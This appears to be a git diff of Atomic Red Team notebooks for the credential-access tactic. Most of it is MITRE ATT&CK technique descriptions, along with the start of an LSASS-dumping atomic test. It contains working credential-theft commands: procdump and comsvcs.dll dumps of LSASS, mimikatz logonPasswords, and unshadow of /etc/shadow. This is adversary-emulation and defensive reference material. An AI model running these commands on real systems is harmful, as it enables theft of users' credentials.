.xml\n\nT1556.008 | Network Provider DLL | Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify) \n\nAdversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)\n\nAdversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress)\nT1606 | Forge Web Credentials | Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) \nT1621 | Multi-Factor Authentication Request Generation | Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account.\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)\nT1552.008 | Chat Messages | Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).\nT1212 | Exploitation for Credential Access | Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nT1056.002 | GUI Input Capture | Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) \nT1110 | Brute Force | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.\nT1110.004 | Credential Stuffing | Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\nT1556.006 | Multi-Factor Authentication | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \nT1187 | Forced Authentication | Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\nT1056 | Input Capture | Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).\nT1557.002 | ARP Cache Poisoning | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)\n\nT1555.006 | Cloud Secrets Management Stores | Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault. \n\nSecrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables. \n\nIf an adversary is able to gain sufficient privileges in a cloud environment \u2013 for example, by obtaining the credentials of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004) or compromising a service that has permission to retrieve secrets \u2013 they may be able to request secrets from the secrets manager. This can be accomplished via commands such as `get-secret-value` in AWS, `gcloud secrets describe` in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005) in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.\nT1003.008 | /etc/passwd and /etc/shadow | Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db\n\nT1558.002 | Silver Ticket | Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\nT1555.004 | Windows Credential Manager | Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)\nT1556.001 | Domain Controller Authentication | Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)\nT1556.005 | Reversible Encryption | An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\nT1111 | Multi-Factor Authentication Interception | Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)\nT1003.003 | NTDS | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\nT1558.003 | Kerberoasting | Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\nT1003.006 | DCSync | Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)\nT1556 | Modify Authentication Process | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nT1056.004 | Credential API Hooking | Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nT1552.007 | Container API | Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. \nT1556.004 | Network Device Authentication | Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)" }, { "cell_type": "code", "execution_count": null, - "id": "45dff638", + "id": "e8570460", "metadata": {}, "outputs": [], "source": "#Invoke-AtomicTest-By can be downloaded from https://github.com/cyberbuff/ART-Utils/\nInvoke-AtomicTest-By -Tactic credential-access" @@ -18,13 +18,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1003.001.ipynb b/playbook/tactics/credential-access/T1003.001.ipynb index b9b6a035..c29883bb 100644 --- a/playbook/tactics/credential-access/T1003.001.ipynb +++ b/playbook/tactics/credential-access/T1003.001.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "731df404", + "id": "de2eeb6d", "metadata": {}, "source": "# T1003.001 - LSASS Memory\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n" }, { "cell_type": "markdown", - "id": "a70b4108", + "id": "991be118", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "c391a30f", + "id": "22566fb3", "metadata": {}, - "source": "### Atomic Test #1 - Dump LSASS.exe Memory using ProcDump\nThe memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals\nProcDump.\n\nUpon successful execution, you should see the following file created c:\\windows\\temp\\lsass_dump.dmp.\n\nIf you see a message saying \"procdump.exe is not recognized as an internal or external command\", try using the get-prereq_commands to download and install the ProcDump tool first.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1003.001\\bin\\procdump.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/Procdump.zip\" -OutFile \"$env:TEMP\\Procdump.zip\"\nExpand-Archive $env:TEMP\\Procdump.zip $env:TEMP\\Procdump 